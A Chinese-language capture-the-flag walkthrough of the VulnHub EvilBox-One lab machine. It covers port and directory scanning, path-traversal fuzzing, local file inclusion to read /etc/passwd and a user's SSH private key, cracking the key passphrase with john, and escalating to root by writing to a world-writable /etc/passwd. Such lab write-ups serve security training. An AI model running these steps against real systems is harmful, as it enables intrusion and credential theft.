靶场下载地址:https://www.vulnhub.com/entry/evilbox-one,736/
靶场信息
将靶机导入VirtualBox中,网络类型选择Host_Only类型
靶机IP地址:192.168.56.16
kaliIP地址:192.168.56.3
端口扫描
使用nmap对靶机开放的端口进行扫描
nmap -sT --min-rate 10000 -p- 192.168.56.16
发现只开放了22和80端口
使用浏览器访问http://192.168.56.16,是apache2的默认页面。
目录爆破
使用gobuster(或者dirb、dirsearch等目录爆破工具)对网站进行目录爆破:
gobuster dir -u http://192.168.56.16 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64 -x txt,php,html,conf
发现/robots.txt、、/secret等路径。
访问/secret目录是空白页
访问robots.txt文件,发现H4x0r,无法确定是账号名还是密码。
由于没有发现其他有用信息,决定对/secret目录在进行爆破:
gobuster dir -u http://192.168.56.16/secret -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html,conf
爆破结果显示存在evil.php文件
访问192.168.56.16/secret/evil.php发现是空白页
使用wfuzz对页面参数进行爆破测试
使用wfuzz(或者使用ffuf)对evil.php的页面参数进行爆破:
wfuzz -u "192.168.56.16/secret/evil.php?FUZZ=../../../../etc/passwd" -w /usr/share/wfuzz/wordlist/general/common.txt --hw 0
发现参数command
访问:http://192.168.56.16/secret/evil.php?command=../index.html可以访问到index.html发现,确认可以实现本地文件包含。
通过文件包含漏洞实现读取passwd文件,发现有一个mowree用户。
使用ssh公钥登录爆破私钥文件的密码
尝试ssh登录ssh mowree@192.168.56.16 -v,发现可以可以使用公钥或者密码登录。
使用公钥登录,服务器上应该存储有公钥文件,
直接使用绝对目录访问密钥文件存放位置:
http://192.168.56.16/secret/evil.php?command=/home/mowree/.ssh/id_rsa
id_rsa是私钥文件,将私钥文件复制粘贴保存到kali中,注意密钥文件的格式
查看主机认证信息:
192.168.56.16/secret/evil.php?command=/home/mowree/.ssh/authorized_keys,可以看到用户名mowree.
ssh公钥登录:
ssh认证信息存放在用户家目录的.ssh中。
id_rsa 是私钥文件,id_rsa.pub是公钥文件,authorized_keys是认证信息。
拥有私钥的任何人都可以使用这个私钥跟目标服务器进行公钥的身份认证,如果能够成功,也就意味着我们不需要账号密码就能证明自己的身份,从而登录到目标服务器上。
ssh mowree@192.168.56.16 -i id_rsa
使用ssh私钥进行登录,发现需要私钥密码。
使用ssh2john 将私钥文件(我保存为ssh.txt)转换成支持john格式,ssh2john ssh.txt > hash1.txt
使用john对转换后的hash1.txt文件进行爆破,得到密码为unicorn(因为我之前已经爆破过一次,john只能对一个文件爆破一次,之后可以使用john --show hash1.txt查看之前破解得到的密码):
使用私钥,账号mowree,私钥密码进行登录并得到第一flag:
提权
收集靶机上可以利用信息,通过查看发现passwd具有写的权限,因此可以尝试创建一个具有root权限的账号。现在kali中使用openssl生成一个加盐的加密密码123456。
在靶机上使用echo修改passwd的内容,新增一个root权限用户asd。
切换到新用户asd,id查看已经是root权限。
root的root目录下发现第二个flag。结束。
总结
1.使用nmap对靶机端口进行扫描,注意使用合适的参数能够加快扫描速度和增强隐蔽性。
2.目录爆破的工具有gobuster、dirb、dirsearch等。
3.利用文件包含漏洞实现命令执行,得到靶机上的ssh认证私钥,公钥,等认证信息。
4.使用ssh2john对ssh的私钥文件进行密码爆破(ssh认证,公钥登录等知识)。
5.提权的方法,通过在靶机上查看文件的属性信息,发现passwd文件具有写的权限,想到创建创建一个具有root权限的用户。
6.openssl创建加盐(salt)密码。